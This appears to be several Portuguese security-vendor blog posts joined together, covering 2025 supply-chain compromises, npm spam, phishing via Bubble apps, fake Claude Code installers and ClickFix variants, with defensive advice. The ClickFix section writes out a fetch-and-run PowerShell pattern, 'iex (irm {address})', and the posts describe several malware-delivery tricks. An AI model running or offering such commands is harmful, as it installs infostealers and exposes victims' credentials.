O ano de 2025 seguiu com um ataque sofisticado que usou o comprometimento de vários GitHub Actions, os padrões de fluxo de trabalho usados para automatizar tarefas de DevOps padrão, como seu principal mecanismo de entrega. Tudo começou com o roubo de um token de acesso pessoal pertencente a um mantenedor da ferramenta de análise SpotBugs. Usando esse ponto de apoio, os invasores publicaram um processo malicioso e conseguiram sequestrar um token de um mantenedor do fluxo de trabalho reviewdog/action-setup, que também estava envolvido no projeto.

A partir daí, eles comprometeram uma dependência, o fluxo de trabalho tj-actions/changed-files, modificando-o para executar um script Python malicioso. Esse script foi projetado para procurar segredos de alto valor, como chaves da AWS, do Azure e do Google Cloud, tokens do GitHub e do NPM, credenciais de banco de dados e chaves privadas do RSA. Por incrível que pareça, o script gravou tudo o que encontrou diretamente nos registros de compilação acessíveis ao público em geral. Isso significa que os dados vazados não estavam disponíveis apenas para os invasores, mas também para qualquer pessoa experiente o suficiente para acessá-los.

O alvo original dessa operação era um repositório pertencente à plataforma de câmbio de criptomoedas Coinbase. Felizmente, os desenvolvedores detectaram a ameaça a tempo e impediram o comprometimento. Ao que tudo indica, depois de perceberem que estavam prestes a perder o controle do pipeline tj-actions/changed-files, os invasores adotaram uma abordagem indiscriminada. Isso colocou 23 mil repositórios em risco de vazamento de segredos. No final, várias centenas desses repositórios realmente tiveram suas credenciais confidenciais expostas ao público.

Abril de 2025: um backdoor em 21 extensões do Magento

Em abril, uma infecção foi descoberta em um amplo conjunto de extensões do Magento, uma das plataformas mais populares para a criação de lojas on-line. O backdoor foi incorporado em 21 módulos desenvolvidos por três fornecedores: Tigren, Meetanshi e MGS. As extensões faziam parte da infraestrutura de várias centenas de empresas de comércio eletrônico, incluindo pelo menos uma corporação multinacional.

De acordo com os pesquisadores que o descobriram, o backdoor na verdade foi implantado em 2019. Em abril de 2025, os invasores o acionaram para comprometer sites e fazer o upload de web shells. Isso foi feito por meio de uma função incorporada nas extensões que executava um código arbitrário extraído de um arquivo de licença.

Por ironia, os módulos infectados incluíam o MGS GDPR e o Meetanshi CookieNotice. Como os nomes sugerem, essas extensões foram projetadas para ajudar os sites a cumprir os regulamentos de privacidade e processamento de dados dos usuários. Por fim, em vez de garantir a privacidade, o uso deles provavelmente levou ao roubo de dados e ativos financeiros do usuário por meio de skimming digital.

Maio de 2025: ransomware distribuído por meio de um MSP comprometido

Em maio, os agentes de ransomware da gangue DragonForce obtiveram acesso à infraestrutura de um provedor de serviços gerenciados (MSP) não identificado e a usaram para distribuir um ransomware e roubar dados das organizações clientes do MSP.

Ao que tudo indica, os invasores exploraram várias vulnerabilidades (incluindo uma falha crítica) no SimpleHelp, a ferramenta de monitoramento e gerenciamento remoto usada pelo MSP. Essas vulnerabilidades foram descobertas em 2024 e divulgadas publicamente e corrigidas em janeiro de 2025. Infelizmente, ficou claro que o MSP optou por não acelerar o processo de atualização, um atraso que a gangue do ransomware ficou mais do que feliz em explorar.

Junho de 2025: um backdoor em mais de uma dúzia de pacotes npm populares

No início do verão, os invasores invadiram a conta de um dos mantenedores da biblioteca Glustack e usaram um token de acesso roubado para injetar backdoors em 17 pacotes npm. O mais popular desses pacotes, @react-native-aria/interactions, ostentava 125 mil downloads semanais, enquanto todos os pacotes comprometidos combinados totalizaram mais de um milhão.

O que é particularmente interessante nesse caso são as etapas que os desenvolvedores do Glustack seguiram após o incidente: primeiro, eles restringiram o acesso ao repositório GitHub para contribuidores secundários; segundo, eles ativaram a autenticação de dois fatores (2FA) para publicar novas versões; e terceiro, eles prometeram implementar práticas de desenvolvimento seguras, como fluxo de trabalho baseado em pull requests, revisões sistemáticas de código, registro de auditorias e assim por diante. Em outras palavras, antes do incidente, um projeto com centenas de milhares de downloads semanais não tinha tais medidas em vigor.

Julho de 2025: pacotes npm populares infectados por meio de um ataque de phishing

Em julho, os pacotes npm foram novamente as estrelas do show, incluindo o pacote amplamente usado chamado “is”, que possui 2,7 milhões de downloads semanais. Essa biblioteca de utilitários JavaScript fornece uma ampla variedade de funções de verificação de tipo e validação de valor. Para realizar um ataque de phishing contra um dos proprietários do projeto, os invasores utilizaram com êxito um truque antigo: o typosquatting (usar o domínio npnjs.com em vez de npmjs.com) e um clone do site oficial do npm.

Em seguida, eles usaram a conta comprometida para publicar várias das suas próprias versões do pacote com um backdoor incorporado. A infecção passou desapercebida por seis horas: tempo suficiente para um grande número de desenvolvedores baixarem os pacotes npm maliciosos.

A mesma tática de phishing foi usada contra outros desenvolvedores. Os invasores aproveitaram várias contas de desenvolvedores comprometidas para distribuir diferentes variantes de sua carga maliciosa. Há também uma forte suspeita de que eles podem ter guardado parte dessa carga para ataques futuros.

Agosto de 2025: o ataque s1ngularity e o vazamento de centenas de segredos dos desenvolvedores

No final de agosto, um incidente apelidado de “s1ngularity” continuou a tendência de atingir desenvolvedores de JavaScript. Os invasores comprometeram o Nx, um sistema de compilação popular e uma ferramenta de otimização de pipeline de CI/CD. O código malicioso injetado nos pacotes pesquisou diversos sistemas dos desenvolvedores infectados, acessando uma grande quantidade de dados confidenciais, como chaves de carteiras de criptomoedas, tokens do npm e do GitHub, chaves SSH, chaves de API e muito mais.

Curiosamente, os invasores usaram ferramentas de IA instaladas localmente, como Claude Code, Gemini CLI e Amazon Q, para detectar os segredos nas máquinas das vítimas. Tudo o que eles encontraram foi publicado nos repositórios públicos do GitHub criados em nome das vítimas, usando os títulos “s1ngularity-repository”, “s1ngularity-repository-0” e “s1ngularity-repository-1”. Como você deve ter adivinhado, é daí que vem o nome do ataque.

Consequentemente, os dados privados de centenas de desenvolvedores acabaram ficando à vista de todos e poderiam ser acessados não apenas pelos invasores, mas por absolutamente qualquer pessoa com uma conexão com a Internet.

Setembro de 2025: um stealer de criptomoedas ataca pacotes npm que têm 2,6 bilhões de downloads semanais

A tendência de comprometimentos de pacotes npm seguiu até setembro. Após uma nova campanha de phishing direcionada a desenvolvedores de JavaScript, os invasores conseguiram injetar código malicioso em algumas dezenas de projetos de alto nível. Alguns deles, especificamente “chalk” e “debug”, tiveram centenas de milhões de downloads semanais; coletivamente, os pacotes infectados estavam acumulando mais de 2,6 bilhões de downloads por semana no momento da violação, e eles se tornaram mais populares desde então.

A carga era um stealer de criptomoedas: um malware projetado para interceptar transações de criptomoeda e redirecioná-las para as carteiras dos invasores. Felizmente, apesar de infectar com sucesso alguns dos projetos mais populares do mundo, os invasores acabaram falhando no estágio final da operação. No final, eles ficaram com míseros USD 925.

Apenas uma semana depois, outro grande incidente ocorreu: a primeira onda do malware autopropagável Shai-Hulud, que infectou cerca de 150 pacotes npm, incluindo projetos da CrowdStrike. No entanto, a segunda onda, que ocorreu vários meses depois, provou ser muito mais destrutiva. Vamos analisar o Great Worm em mais detalhes a seguir.

Outubro de 2025: o GlassWorm infecta o ecossistema do Visual Studio Code

Cerca de um mês após o ataque do Shai-Hulud, um malware autopropagável semelhante denominado GlassWorm começou a infectar extensões do Visual Studio Code no Open VSX Registry e no Microsoft Extension Marketplace. Os invasores estavam procurando contas do GitHub, Git, npm e Open VSX, bem como chaves de carteiras de criptomoedas.

Os criadores do GlassWorm adotaram uma abordagem altamente criativa para sua infraestrutura de comando e controle: eles usaram uma carteira de criptomoedas no blockchain Solana como seu C2 principal, com o Google Agenda servindo como um canal de comunicação de backup.

Além de esvaziar as carteiras de criptomoedas das vítimas e sequestrar suas contas para espalhar o worm ainda mais, os invasores também injetaram um RAT chamado Zombi nos dispositivos infectados, obtendo controle total sobre os sistemas comprometidos.

Novembro de 2025: a campanha IndonesianFoods e 150 mil pacotes de spam no npm

Em novembro, um novo incômodo emergiu do repositório do npm. Uma campanha maliciosa coordenada apelidada de IndonesianFoods fez os invasores inundarem o repositório com dezenas de milhares de pacotes inúteis.

O objetivo principal era jogar com o sistema para inflar as métricas e os tokens de farm no tea.xyz, uma plataforma de blockchain projetada para recompensar os desenvolvedores de código aberto. Para conseguir isso, os invasores construíram uma enorme rede de projetos interdependentes com nomes que fazem referência à culinária indonésia, como zul-tapai9-kyuki e andi-rendang23-breki.

Os criadores da campanha não se deram ao trabalho de invadir contas. Estritamente falando, os pacotes de spam nem sequer continham um contêiner malicioso, a menos que você considere um script projetado para gerar automaticamente novos contêineres a cada sete segundos. No entanto, o incidente serviu como um lembrete de como a infraestrutura npm é vulnerável a campanhas de spam em larga escala.

Dezembro de 2025: Shai-Hulud 2.0 e o vazamento de 400 mil segredos de desenvolvedores

O destaque absoluto do ano, não apenas de ataques a cadeias de suprimentos, mas provavelmente para todo o campo de segurança cibernética, foi o malware autopropagável Shai-Hulud (também conhecido como Sha1-Hulud) contra desenvolvedores.

Esse malware foi a evolução lógica do ataque s1ngularity mencionado anteriormente: ele também vasculhou os sistemas em busca de todos os tipos de segredos e os publicou em repositórios GitHub abertos. No entanto, o Shai-Hulud adicionou um mecanismo de autopropagação à linha de base: o worm infectou projetos controlados por desenvolvedores já comprometidos usando as credenciais roubadas.

A primeira onda do Shai-Hulud ocorreu em setembro, infectando várias centenas de pacotes npm. No final do ano, a segunda onda chegou e foi batizada como Shai-Hulud 2.0.

Dessa vez, o worm foi atualizado com a funcionalidade de wiper. Se o malware não encontrasse tokens npm ou GitHub válidos em um sistema infectado, ele acionava uma carga destrutiva que apagava os arquivos do usuários.

Aproximadamente 400 mil segredos foram vazados no total como resultado do ataque. Vale a pena notar que, assim como no s1ngularity, todos os dados confidenciais acabaram publicados em repositórios públicos, onde poderiam ser baixados não apenas pelos invasores, mas por qualquer outra pessoa. E é altamente provável que as consequências desse ataque ainda sejam sentidas por um longo tempo.

Um dos primeiros casos confirmados de uma exploração usando segredos vazados pelo Shai-Hulud foi um roubo de criptomoeda visando vários milhares de usuários da Trust Wallet. Os invasores usaram esses segredos na véspera de Natal para carregar uma versão maliciosa da extensão Trust Wallet com um drenador de criptomoedas integrado para a Chrome Web Store. No final, eles conseguiram se safar com USD 8,5 milhões em criptomoedas.

Como se proteger contra ataques a cadeias de suprimentos

Ao elaborar uma retrospectiva semelhante para 2024, descobrimos que manter uma estrutura de “um mês, uma ameaça” é bastante fácil. Para 2025, no entanto, o caso foi muito mais grave. Houve tantos ataques maciços a cadeias de suprimentos no ano passado, que não conseguimos encaixá-los em uma visão geral.

O ano de 2026 está se mostrando igualmente intenso, por isso recomendamos verificar nossa postagem sobre a prevenção de ataques a cadeias de suprimentos. Enquanto isso, aqui estão as conclusões mais importantes:

• Avalie minuciosamente seus fornecedores e faça uma auditoria cuidadosa do código que você integra em seus projetos.
• Implemente requisitos de segurança rígidos diretamente em seus contratos de serviço.
• Desenvolva um plano abrangente de resposta a incidentes.
• Monitore atividades suspeitas em sua infraestrutura corporativa usando uma solução de XDR.
• Se a sua equipe de segurança interna estiver sobrecarregada, procure um serviço externo de identificação proativa de ameaças e resposta rápida.

Se quiser saber mais detalhes sobre os ataques a cadeias de suprimentos, confira o nosso relatório analítico Supply chain reaction: securing the global digital ecosystem in an age of interdependence (Reação em cadeia de suprimentos: proteção ao ecossistema digital global em uma era de interdependência). Ele se baseia em insights de especialistas técnicos e revela com que frequência as organizações enfrentam riscos relacionados à cadeia de suprimentos e a relações de confiança, onde ainda existem lacunas de proteção e quais estratégias adotar para aumentar a resiliência contra esse tipo de ameaça.

O que as palavras bakso, sate e rendang trazem à mente? Para muitos, a resposta é “nada”; os amantes da gastronomia as reconhecerão como alimentos básicos da Indonésia. Já aqueles que seguem as notícias de segurança cibernética se lembrarão de um ataque ao ecossistema Node Package Manager (npm), a ferramenta que permite que os desenvolvedores usem bibliotecas pré-formatadas em vez de escrever cada linha de código do zero.

Em meados de novembro, o pesquisador de segurança Paul McCarty relatou a descoberta de uma campanha de spam destinada a sobrecarregar o repositório do npm. É claro que pacotes sem sentido já apareceram no repositório antes, mas, neste caso, dezenas de milhares de módulos foram encontrados sem nenhuma utilidade. O único objetivo deles era injetar dependências completamente desnecessárias em projetos.

Os nomes dos pacotes apresentavam nomes de pratos indonésios e termos culinários inseridos de forma aleatória, como bakso, sate e rendang, o que levou a campanha a receber o apelido “IndonesianFoods”. A escala foi impressionante: no momento da descoberta, aproximadamente 86 mil pacotes haviam sido identificados.

Abaixo, veremos como isso aconteceu e o que os invasores estavam realmente procurando.

Dentro da IndonesianFoods

À primeira vista, os pacotes da IndonesianFoods não pareciam lixo óbvio. Eles apresentavam estruturas padrão, arquivos de configuração válidos e até mesmo documentação bem formatada. De acordo com pesquisadores do Endor Labs, essa camuflagem permitiu que os pacotes permanecessem no repositório do npm por quase dois anos.

Não é como se os invasores tentassem a todo custo inserir suas criações em projetos externos. Em vez disso, eles simplesmente inundaram o ecossistema com um código de aparência legítima, esperando que alguém cometesse um erro de digitação ou selecionasse por engano sua biblioteca nos resultados da pesquisa. Não está claro exatamente o que alguém precisaria estar procurando para confundir um nome de pacote com um prato indonésio, mas a pesquisa original observa que pelo menos 11 projetos de alguma forma incluíram esses pacotes em suas compilações.

Uma pequena parte desses pacotes inúteis tinha um mecanismo de autorreplicação incorporado: uma vez instalados, eles criariam e publicariam novos pacotes no repositório do npm a cada sete segundos. Esses novos módulos apresentavam nomes aleatórios (também relacionados à culinária indonésia) e números de versão. Todos publicados, como seria de esperar, usando as credenciais da vítima.

Outros pacotes maliciosos integrados à plataforma blockchain TEA. O projeto TEA foi concebido para recompensar criadores de código aberto com tokens em proporção à popularidade e ao uso de suas criações, teoricamente operando em um modelo de “prova de contribuição”.

Uma parte significativa desses pacotes não continha funcionalidade real, mas muitas vezes carregavam uma dúzia de dependências que, como você pode imaginar, apontavam para outros projetos de spam dentro da mesma campanha. Assim, se uma vítima incluir por engano um desses pacotes maliciosos, ele carregará consigo diversos outros, alguns dos quais terão suas próprias dependências. O resultado é um projeto final com uma enorme quantidade de código redundante.

O que os invasores ganham com isso?

Há duas teorias principais. O mais óbvio é que toda essa elaborada campanha de spam foi projetada para explorar o protocolo TEA mencionado acima. Essencialmente, sem fazer nenhuma contribuição útil para a comunidade de código aberto, os invasores ganham tokens TEA, ou seja, ativos digitais padrão que podem ser trocados por outras criptomoedas em plataformas de negociação. Usando uma rede de dependências e mecanismos de autorreplicação, os invasores se passam por desenvolvedores de código aberto legítimos para inflar artificialmente a significância e as métricas de uso de seus pacotes. Nos arquivos README de determinados pacotes, os invasores até se gabam de seus ganhos.

No entanto, há uma teoria mais assustadora. Por exemplo, o pesquisador Garrett Calpouzos sugere que o que estamos vendo é apenas uma prova de conceito. A campanha da IndonesianFoods pode estar testando um novo método de entrega de malware destinado a ser vendido posteriormente a outros agentes de ameaças.

Por que você não quer lixo em seus projetos

À primeira vista, o perigo para as organizações de desenvolvimento de software pode não ser óbvio: com certeza, a IndonesianFoods desordena o ecossistema, mas não parece carregar uma ameaça imediata, como ransomware ou violações de dados.  No entanto, as dependências redundantes sobrecarregam o código e desperdiçam recursos no sistema do desenvolvedor. Além disso, pacotes inúteis publicados sob o nome de sua organização podem prejudicar seriamente sua reputação dentro da comunidade de desenvolvedores.

Também não podemos descartar a teoria de Calpouzos. Se esses pacotes de spam incorporados ao seu software receberem uma atualização que introduza uma funcionalidade realmente maliciosa, eles podem se tornar uma ameaça não apenas para a sua organização, mas também para seus usuários, evoluindo para um ataque completo à cadeia de suprimentos.

Como proteger sua organização

Os pacotes de spam não entram em um projeto sozinhos; sua instalação ocorre em um momento de distração do desenvolvedor. Portanto, recomendamos conscientizar regularmente os funcionários, mesmo os mais experientes, sobre as ameaças cibernéticas modernas. Nossa plataforma interativa de treinamento, a KASAP (Kaspersky Automated Security Awareness Platform), pode ajudar.

Além disso, você pode impedir a infecção usando uma solução especializada para proteger ambientes conteinerizados. Ela faz a verificação de imagens e dependências de terceiros, integra-se ao processo de compilação e monitora contêineres durante o tempo de execução.

Se quiser saber mais detalhes sobre os ataques contra a cadeia de suprimentos, deixamos aqui o nosso convite para consultar o relatório analítico Supply chain reaction: securing the global digital ecosystem in an age of interdependence (Reação em cadeia de suprimentos: proteção do ecossistema digital global em uma era de interdependência). Ele é baseado em insights de especialistas técnicos e revela com que frequência as organizações enfrentam riscos de cadeia de suprimentos e de relacionamento confiável e como estes são percebidos.

Uma variedade de criadores de aplicativos com tecnologia de IA promete dar vida às suas ideias com rapidez e facilidade. Infelizmente, sabemos exatamente quem está sempre à procura de novas ideias para dar vida, principalmente porque somos muito bons em identificar e bloquear as antigas. Estamos falando de phishers, é claro. Recentemente, descobrimos que eles adicionaram um novo truque ao seu arsenal: gerar sites usando o criador de aplicativos da Web com tecnologia IA Bubble. É muito provável que essa tática já esteja disponível em uma ou mais plataformas de phishing como serviço, o que praticamente garante que essas armadilhas começarão a aparecer em uma ampla variedade de ataques. Mas vamos detalhar em etapas.

Por que os phishers estão usando o Bubble?

Incluir um link direto para um site de phishing em um e-mail é um caminho sem volta para o fracasso. Há uma grande probabilidade de a mensagem nem chegar ao destino, pois os filtros de segurança provavelmente a bloquearão antes que o usuário a veja. Da mesma forma, o uso de redirecionamentos automatizados já está no radar das soluções de segurança modernas. E os QR codes? Embora fazer com que a vítima escaneie um código com o celular, em vez de clicar em um link, possa funcionar em teoria, os phishers inevitavelmente perdem tráfego nessa etapa: nem todo mundo está disposto a inserir credenciais corporativas em um dispositivo pessoal. É aqui que os serviços automatizados de geração de código socorrem os cibercriminosos.

O Bubble se posiciona como uma plataforma no-code para o desenvolvimento de aplicativos da Web e móveis. Essencialmente, um usuário descreve o que precisa em uma interface visual e a plataforma gera uma solução finalizada. Os phishers adotaram essa tecnologia para criar aplicativos da Web cujos endereços, depois, eles incorporam em seus e-mails de phishing. Embora a função real desses aplicativos se resuma ao mesmo antigo redirecionamento automatizado para um site malicioso, há algumas nuances específicas em jogo.

Primeiro, o aplicativo da Web resultante é hospedado diretamente nos servidores da plataforma. O URL pronto para uso em um e-mail de phishing se parece com https://%name%.bubble.io/. Do ponto de vista das soluções de segurança, parece ser um site legítimo e antigo.

Em segundo lugar, o código desse aplicativo da Web não se parece com um redirecionamento típico. Para ser honesto, é difícil dizer com o que ele se parece. O código gerado por essa plataforma no-code é uma enorme mistura de JavaScript e estruturas isoladas de Shadow DOM (Document Object Model). Mesmo para um especialista, é difícil entender o que está acontecendo à primeira vista; é preciso analisar o código a fundo para entender como tudo funciona e com qual objetivo. Os algoritmos automatizados de análise de código da Web têm ainda mais chances de falhar, frequentemente chegando ao veredicto de que é apenas um site funcional e útil.

Um fragmento de código de aplicativo da Web hospedado na plataforma Bubble

O que são essas plataformas de phishing e qual é o objetivo?

Os phishers atuais raramente desenvolvem e implementam novos truques do zero. A maioria usa kits de phishing, essencialmente pacotes do tipo “faça você mesmo o seu esquema fraudulento”, ou até mesmo plataformas de phishing como serviço em larga escala.

Essas plataformas fornecem aos invasores um kit de ferramentas sofisticado (e altamente frustrante) que está em constante evolução para melhorar a entrega de e-mail e burlar as defesas antiphishing. Por exemplo, essas ferramentas permitem que os invasores, entre muitas outras coisas, façam o seguinte: interceptem cookies de sessão; realizem phishing pelo Google Tarefas (uma tática que abordamos em uma postagem anterior); executem ataques de intermediário (AiTM) para validar a autenticação de dois fatores (2FA) e burlá-la em tempo real; criem sites de phishing equipados com honeypots e geofencing para se esconder dos rastreadores de segurança; e usem assistentes de IA para gerar e-mails de phishing únicos. Para piorar a situação, a infraestrutura dessas plataformas geralmente é hospedada em serviços perfeitamente legítimos como AWS, tornando suas táticas ainda mais difíceis de detectar.

As mesmas plataformas são usadas para criar a página de destino final que coleta credenciais. Nesse caso específico, o aplicativo da Web hospedado no Bubble redireciona as vítimas para um site com uma verificação da Cloudflare que imita a janela de login da Microsoft.

Formulário de phishing projetado para coletar credenciais corporativas

Aparentemente, no universo paralelo dos invasores, o Skype ainda é uma ferramenta de comunicação viável, mas fora isso, o site é bastante convincente.

Como proteger a sua empresa contra ataques de phishing sofisticados

No cenário digital atual, os funcionários precisam entender que as credenciais corporativas devem ser inseridas apenas em serviços e sites que inegavelmente pertencem à empresa. Você pode conscientizar sua equipe sobre ameaças cibernéticas modernas usando a Kaspersky Automated Security Awareness Platform para treinamento on-line.

É claro que até o funcionário mais cauteloso pode ocasionalmente morder a isca. Recomendamos equipar todas as estações de trabalho conectadas à Internet com soluções de segurança robustas que simplesmente bloquearão qualquer tentativa de visitar um site malicioso. Por fim, para reduzir o número de e-mails perigosos que ocupam as caixas de entrada corporativas, sugerimos implementar um produto de segurança de gateway com tecnologias antiphishing avançadas.

Recentemente, discutimos como os agentes maliciosos estão espalhando o infostealer AMOS para macOS por meio do Google Ads, utilizando um chat com um assistente de IA no site real da OpenAI para hospedar instruções maliciosas. Decidimos investigar mais a fundo e identificamos várias campanhas maliciosas semelhantes, nas quais invasores distribuem malware disfarçado de ferramentas populares de IA por meio de anúncios na Pesquisa Google. Se as vítimas estiverem procurando por ferramentas específicas do macOS, a carga implementada será o mesmo AMOS; se estiverem no Windows, será o infostealer Amatera. Essas campanhas usam a popular IA chinesa Doubao, o assistente de IA viral OpenClaw ou o assistente de codificação Claude Code como isca. Isso significa que essas campanhas representam uma ameaça não apenas para usuários domésticos, mas também para organizações.

A realidade é que os funcionários corporativos estão usando cada vez mais assistentes de codificação, como o Claude Code, e agentes de automação de fluxo de trabalho, como o OpenClaw. Isso gera seus próprios riscos e é por isso que muitas organizações ainda precisam aprovar ou pagar pelo acesso a essas ferramentas. Como consequência, alguns funcionários tomam a iniciativa para encontrar por conta própria essas ferramentas modernas e vão direto ao Google. Eles digitam um termo de pesquisa e recebem um link patrocinado que leva a um guia de instalação malicioso. Vamos analisar mais de perto como esse ataque acontece, usando como exemplo uma campanha de distribuição do Claude Code descoberta no início de março.

O termo de pesquisa

Um usuário começa a procurar um local para baixar o agente Anthropic e digita algo como “Baixar Claude Code” na barra de pesquisa. O mecanismo de pesquisa retorna uma lista de links, com “links patrocinados” (anúncios pagos) no topo. Um desses anúncios leva o usuário a uma página maliciosa com documentação falsa. Curiosamente, o site em si é construído no Squarespace, um construtor de sites legítimo que ajuda o site dos invasores a ignorar os filtros antiphishing.

Resultados da pesquisa com anúncios na Romênia e no Brasil

O site dos invasores imita meticulosamente a documentação original do Claude Code, incluindo instruções de instalação. Assim como o negócio real, ele solicita que o usuário copie e execute um comando. No entanto, uma vez executado, ele não instala um agente de IA, mas um malware. Essencialmente, esse é apenas outro tipo de ataque ClickFix, que ganhou seu próprio apelido: InstallFix.

Site malicioso que imita as instruções de instalação

Site genuíno do Claude Code com instruções de instalação

Carga maliciosa

Assim como no Claude Code original, o comando para macOS tenta instalar um aplicativo usando o utilitário de linha de comando curl. Na realidade, ele implementa o spyware AMOS, já descrito por nossos especialistas no Securelist, que foi usado em uma campanha anterior semelhante.

No caso do Windows, o malware é instalado usando o utilitário do sistema mshta.exe, que executa aplicativos baseados em HTML em vez de curl, que é usado para o Claude Code genuíno. Esse utilitário implementa o Infostealer Amatera, que coleta dados do navegador, informações da carteira de criptomoedas, bem como informações da pasta do usuário, e os envia para um servidor remoto em 144{.}124.235.102.

Como manter sua empresa segura

O interesse em agentes de IA continua a crescer, e o surgimento de novas ferramentas e sua crescente popularidade estão criando novos vetores de ataque. Especificamente, buscar ferramentas de IA de terceiros pode comprometer o código-fonte local, mas também levar ao comprometimento de segredos, arquivos corporativos confidenciais e contas de usuário.

Para evitar que isso aconteça, a primeira etapa deve ser educar os funcionários sobre esses perigos e os truques usados pelos agentes de ameaças. Isso pode ser feito usando nossa plataforma de treinamento: Kaspersky Automated Security Awareness. Ela também inclui uma lição especializada sobre o uso de IA em ambientes corporativos.

Além disso, recomendamos proteger todos os dispositivos corporativos usando soluções comprovadas de segurança cibernética.

Também sugerimos verificar nosso artigo publicado anteriormente sobre três abordagens para minimizar os riscos do uso de “Shadow AI”.

Há cerca de um ano, publicamos uma postagem sobre a técnica ClickFix, que estava ganhando popularidade entre os invasores. A essência dos ataques usando o ClickFix é convencer a vítima, sob vários pretextos, a executar um comando malicioso em seu computador. Ou seja, do ponto de vista das soluções de segurança cibernética, ele é executado em nome do usuário ativo e com seus privilégios.

Nos primeiros usos dessa técnica, os cibercriminosos tentavam convencer as vítimas de que elas precisavam executar um comando para corrigir algum problema ou passar por um captcha e, na grande maioria dos casos, o comando malicioso era um script do PowerShell. No entanto, desde então, os invasores criaram uma série de novos truques sobre os quais os usuários devem ser avisados, bem como uma série de novas variantes de entrega de carga maliciosa, que também merecem atenção.

Uso de mshta.exe

No ano passado, os especialistas da Microsoft publicaram um relatório sobre ataques cibernéticos direcionados a proprietários de hotéis que trabalham com a Booking.com. Os invasores enviaram notificações falsas do serviço ou e-mails fingindo ser de hóspedes chamando a atenção para uma avaliação. Em ambos os casos, o e-mail continha um link para um site imitando o site Booking.com, que pedia à vítima para provar que não era um robô executando um código pelo menu Executar.

Há duas diferenças principais entre esse ataque e o ClickFix. Primeiro, ninguém pede para o usuário copiar a string (afinal, uma string com código às vezes levanta suspeitas). Ela é copiada para a área de transferência pelo site malicioso, provavelmente quando o usuário clica em uma caixa de seleção que imita o mecanismo reCAPTCHA. Em segundo lugar, a string maliciosa invoca o utilitário mshta.exe legítimo, que serve para executar aplicativos escritos em HTML. Ele entra em contato com o servidor dos invasores e executa a carga maliciosa.

Vídeo no TikTok e PowerShell com privilégios de administrador

A BleepingComputer publicou um artigo em outubro de 2025 sobre uma campanha que espalha malware por meio de instruções em vídeos do TikTok. Os próprios vídeos imitam tutoriais sobre como ativar software proprietário gratuitamente. O conselho que fornecem se resume à necessidade de executar o PowerShell com privilégios de administrador e, em seguida, executar o comando iex (irm {address}). Aqui, o comando irm baixa um script malicioso de um servidor controlado por invasores e o comando iex (Invoke-Expression) o executa. O script, por sua vez, baixa um malware infostealer para o computador da vítima.

Uso do protocolo Finger

Outra variante incomum do ataque ClickFix usa o conhecido truque do captcha, mas o script malicioso usa o antigo protocolo Finger. O utilitário de mesmo nome permite que qualquer pessoa solicite dados sobre um usuário específico em um servidor remoto. Hoje, o protocolo raramente é usado, mas ainda é compatível com Windows, macOS e diversos sistemas baseados em Linux.

O usuário é persuadido a abrir a interface da linha de comando e usá-la para executar um comando que estabelece uma conexão pelo protocolo Finger (usando a porta TCP 79) com o servidor do invasor. O protocolo transfere apenas informações de texto, mas isso é suficiente para baixar outro script para o computador da vítima, que então instala o malware.

Variante CrashFix

Outra variante do ClickFix difere por usar engenharia social mais sofisticada. Ela foi usada em um ataque a usuários que tentavam encontrar uma ferramenta para bloquear banners de publicidade, rastreadores, malware e outros conteúdos indesejados em páginas da web. Ao procurar uma extensão adequada para o Google Chrome, as vítimas encontraram algo chamado NexShield – Advanced Web Guardian, que na verdade era um clone de um software real funcional, mas que em algum momento travava o navegador e exibia uma notificação falsa sobre um problema de segurança detectado e a necessidade de executar uma “verificação” para corrigir o erro. Se o usuário concordasse, ele recebia instruções sobre como abrir o menu Executar e digitar um comando que a extensão havia copiado anteriormente para a área de transferência.

O comando copiava o arquivo finger.exe conhecido para um diretório temporário, o renomeava como ct.exe e, em seguida, iniciava-o com o endereço do invasor. O resto do ataque era idêntico ao caso anterior. Em resposta à solicitação do protocolo Finger, um script malicioso era entregue, que iniciava e instalava um trojan de acesso remoto (neste caso, ModeloRAT).

Entrega de malware por consulta DNS

A equipe de Inteligência de Ameaças da Microsoft também compartilhou uma variante de ataque ClickFix um pouco mais complexa do que o habitual. Infelizmente, eles não descreveram o truque de engenharia social, mas o método de entregar a carga maliciosa é bastante interessante. Provavelmente para dificultar a detecção do ataque em um ambiente corporativo e prolongar a vida útil da infraestrutura maliciosa, os invasores usaram uma etapa adicional: entrar em contato com um servidor DNS controlado pelos invasores.

Ou seja, depois que a vítima é persuadida de alguma forma a copiar e executar um comando malicioso, uma solicitação é enviada ao servidor DNS em nome do usuário por meio do utilitário nslookup legítimo, solicitando dados para o domínio example.com. O comando continha o endereço de um servidor DNS específico controlado pelos invasores. Ele retorna uma resposta que, entre outras coisas, contém uma string com um script malicioso, que por sua vez baixa a carga útil final (neste ataque, ModeloRAT novamente).

Isca de criptomoeda e JavaScript como carga útil

A próxima variante de ataque é interessante por sua engenharia social de vários estágios. Em comentários no Pastebin, os invasores espalharam ativamente uma mensagem sobre uma suposta falha no serviço de câmbio de criptomoedas Swapzone.io. Os proprietários de criptomoedas recebiam convites para visitar um site criado por fraudadores, que continha instruções completas sobre como explorar uma falha capaz de gerar até US$ 13.000 em poucos dias.

As instruções explicavam como as falhas do serviço podiam ser exploradas para trocar criptomoedas a uma taxa mais favorável. Para fazer isso, a vítima precisava abrir o site do serviço no navegador Chrome, digitar manualmente “javascript:” na barra de endereço, colar o script JavaScript copiado do site do invasor e executá-lo. Na realidade, é claro, o script não podia afetar as taxas de câmbio; ele simplesmente substituía os endereços da carteira Bitcoin e, se a vítima realmente tentasse negociar algo, transferiria os fundos para as contas dos invasores.

Como proteger a sua empresa contra ataques ClickFix

Os ataques mais simples que usam a técnica ClickFix podem ser combatidos pelo bloqueio da combinação de teclas [Win] + [R] em dispositivos de trabalho. Mas, como vemos nos exemplos listados, esse está longe de ser o único tipo de ataque em que os usuários são instruídos a executar código malicioso.

Portanto, o principal conselho é aumentar a conscientização em segurança cibernética dos funcionários. Eles devem entender claramente que, se alguém lhes pedir para executar qualquer manipulação incomum no sistema e/ou copiar e colar um código em algum lugar, na maioria dos casos trata-se de um truque usado pelos cibercriminosos. O treinamento de conscientização de segurança pode ser organizado com a Kaspersky Automated Security Awareness Platform.

Além disso, para se proteger contra esses ataques cibernéticos, recomendamos:

• Usar proteção confiável em todos os dispositivos corporativos.
• Monitorar atividades suspeitas na rede da empresa por meio de uma solução XDR.
• Se os recursos internos forem insuficientes, usar um serviço externo para detectar ameaças e responder a elas prontamente.